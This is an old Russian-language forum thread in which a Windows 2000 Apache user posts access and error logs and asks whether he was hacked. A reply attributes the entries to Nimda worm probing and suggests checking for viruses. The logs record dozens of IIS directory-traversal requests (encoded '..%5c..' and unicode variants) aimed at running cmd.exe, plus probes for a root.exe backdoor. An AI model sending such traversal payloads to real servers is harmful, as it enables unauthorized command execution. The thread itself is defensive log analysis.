URL: https://www.opennet.me/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 830
[ Назад ]

Исходное сообщение
"Вопрос к ГУРУ АПАЧИ."
Отправлено andruxa , 10-Июл-02 13:17

народ такая проблема под вин2000 автоматически запускался сервак(апачи) а я и незнал. сегодня посмотрел логи а там такая хрень растолкуйте что это значит. меня ломали???
access.log -----
80.143.160.183 - - [01/Jul/2002:14:04:10 +0400] "GET /scripts/..ю╞../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 315
80.143.160.183 - - [01/Jul/2002:14:04:20 +0400] "GET /scripts/.%2e/.%2e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 318
62.82.161.221 - - [01/Jul/2002:19:11:29 +0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
62.82.161.221 - - [01/Jul/2002:19:11:37 +0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
62.82.161.221 - - [01/Jul/2002:19:11:45 +0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.82.161.221 - - [01/Jul/2002:19:11:52 +0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.82.161.221 - - [01/Jul/2002:19:12:00 +0400] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.82.161.221 - - [01/Jul/2002:19:12:08 +0400] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.82.161.221 - - [01/Jul/2002:19:12:22 +0400] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.82.161.221 - - [01/Jul/2002:19:12:31 +0400] "GET /msadc/..%5c../..%5c../..%5c/..а../..а../..а../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 337
62.49.36.154 - - [03/Jul/2002:16:10:14 +0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
62.49.36.154 - - [03/Jul/2002:16:10:15 +0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
62.49.36.154 - - [03/Jul/2002:16:10:17 +0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.49.36.154 - - [03/Jul/2002:16:10:18 +0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.49.36.154 - - [03/Jul/2002:16:10:19 +0400] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.49.36.154 - - [03/Jul/2002:16:10:21 +0400] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.49.36.154 - - [03/Jul/2002:16:10:22 +0400] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.49.36.154 - - [03/Jul/2002:16:10:26 +0400] "GET /msadc/..%5c../..%5c../..%5c/..а../..а../..а../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 337
62.49.36.154 - - [03/Jul/2002:16:10:37 +0400] "GET /scripts/..а../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.49.36.154 - - [03/Jul/2002:16:10:39 +0400] "GET /scripts/..ю/../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.49.36.154 - - [03/Jul/2002:16:10:40 +0400] "GET /scripts/..ю╞../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.49.36.154 - - [03/Jul/2002:16:10:41 +0400] "GET /scripts/..а°../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.49.36.154 - - [03/Jul/2002:16:10:42 +0400] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287
62.49.36.154 - - [03/Jul/2002:16:10:43 +0400] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287
62.49.36.154 - - [03/Jul/2002:16:10:45 +0400] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.49.36.154 - - [03/Jul/2002:16:10:45 +0400] "GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.234.4.142 - - [06/Jul/2002:15:21:14 +0400] "GET /scripts/..ю╞../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 315
62.234.4.142 - - [06/Jul/2002:15:21:18 +0400] "GET /scripts/.%2e/.%2e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 318
67.104.42.180 - - [06/Jul/2002:16:47:39 +0400] "GET /scripts/..%5c%5c../winnt/system32/cmd.exe?/c+dir" 404 -
64.165.200.26 - - [06/Jul/2002:17:11:59 +0400] "GET /scripts/..ю╞../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 315
64.165.200.26 - - [06/Jul/2002:17:11:59 +0400] "GET /scripts/.%2e/.%2e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 318
217.228.167.7 - - [08/Jul/2002:11:56:24 +0400] "GET /scripts/..ю╞../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 315
217.228.167.7 - - [08/Jul/2002:11:56:24 +0400] "GET /scripts/.%2e/.%2e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 318

erorr.log-----
[Mon Jul 01 14:04:10 2002] [error] [client 80.143.160.183] File does not exist: c:/program files/apache/apache/htdocs/scripts/..АЇ/winnt/system32/cmd.exe
[Mon Jul 01 14:04:20 2002] [error] [client 80.143.160.183] File does not exist: c:/program files/apache/apache/htdocs/scripts/../../winnt/system32/cmd.exe
[Mon Jul 01 19:11:29 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/scripts/root.exe
[Mon Jul 01 19:11:37 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/msadc/root.exe
[Mon Jul 01 19:11:45 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/c/winnt/system32/cmd.exe
[Mon Jul 01 19:11:52 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/d/winnt/system32/cmd.exe
[Mon Jul 01 19:12:00 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/scripts/..\/winnt/system32/cmd.exe
[Mon Jul 01 19:12:08 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/_vti_bin/..\/..\/..\/winnt/system32/cmd.exe
[Mon Jul 01 19:12:22 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/_mem_bin/..\/..\/..\/winnt/system32/cmd.exe
[Mon Jul 01 19:12:31 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/msadc/..\/..\/..\/..Б/..Б/..Б/winnt/system32/cmd.exe
[Wed Jul 03 16:10:14 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/root.exe
[Wed Jul 03 16:10:15 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/msadc/root.exe
[Wed Jul 03 16:10:17 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/c/winnt/system32/cmd.exe
[Wed Jul 03 16:10:18 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/d/winnt/system32/cmd.exe
[Wed Jul 03 16:10:19 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..\/winnt/system32/cmd.exe
[Wed Jul 03 16:10:21 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/_vti_bin/..\/..\/..\/winnt/system32/cmd.exe
[Wed Jul 03 16:10:22 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/_mem_bin/..\/..\/..\/winnt/system32/cmd.exe
[Wed Jul 03 16:10:26 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/msadc/..\/..\/..\/..Б/..Б/..Б/winnt/system32/cmd.exe
[Wed Jul 03 16:10:37 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..Б/winnt/system32/cmd.exe
[Wed Jul 03 16:10:40 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..АЇ/winnt/system32/cmd.exe
[Wed Jul 03 16:10:41 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..Бњ/winnt/system32/cmd.exe
[Wed Jul 03 16:10:45 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..\/winnt/system32/cmd.exe
[Wed Jul 03 16:10:45 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..//winnt/system32/cmd.exe
[Sat Jul 06 15:21:14 2002] [error] [client 62.234.4.142] File does not exist: c:/program files/apache/apache/htdocs/scripts/..АЇ/winnt/system32/cmd.exe
[Sat Jul 06 15:21:18 2002] [error] [client 62.234.4.142] File does not exist: c:/program files/apache/apache/htdocs/scripts/../../winnt/system32/cmd.exe
[Sat Jul 06 16:47:39 2002] [error] [client 67.104.42.180] File does not exist: c:/program files/apache/apache/htdocs/scripts/..\\/winnt/system32/cmd.exe
[Sat Jul 06 17:11:59 2002] [error] [client 64.165.200.26] File does not exist: c:/program files/apache/apache/htdocs/scripts/..АЇ/winnt/system32/cmd.exe
[Sat Jul 06 17:11:59 2002] [error] [client 64.165.200.26] File does not exist: c:/program files/apache/apache/htdocs/scripts/../../winnt/system32/cmd.exe
[Mon Jul 08 11:56:24 2002] [error] [client 217.228.167.7] File does not exist: c:/program files/apache/apache/htdocs/scripts/..АЇ/winnt/system32/cmd.exe
[Mon Jul 08 11:56:24 2002] [error] [client 217.228.167.7] File does not exist: c:/program files/apache/apache/htdocs/scripts/../../winnt/system32/cmd.exe

Содержание

RE: Вопрос к ГУРУ АПАЧИ.,НеГур, 07:18 , 12-Июл-02

Сообщения в этом обсуждении

"RE: Вопрос к ГУРУ АПАЧИ."
Отправлено НеГур , 12-Июл-02 07:18

>народ такая проблема под вин2000 автоматически запускался сервак(апачи) а я и незнал.
>сегодня посмотрел логи а там такая хрень растолкуйте что это значит.
>меня ломали???
Все цитировать не буду. Я, в общем-то, не гуру. Но это похоже на попытку распространения вируса Nimda. Смотри описание вируса. Интересно, что он пытается лезть без разбору по приведенным путям даже на Апач на Унихе! :)
Скорее всего заражения не произошло, но посмотреть комп на вирусы стоит. И окружение тоже -- ведь ломился же откуда-то?
И еще придется посмотреть, что еще "крутится" на серваке. Может еще что интересное найдешь? :)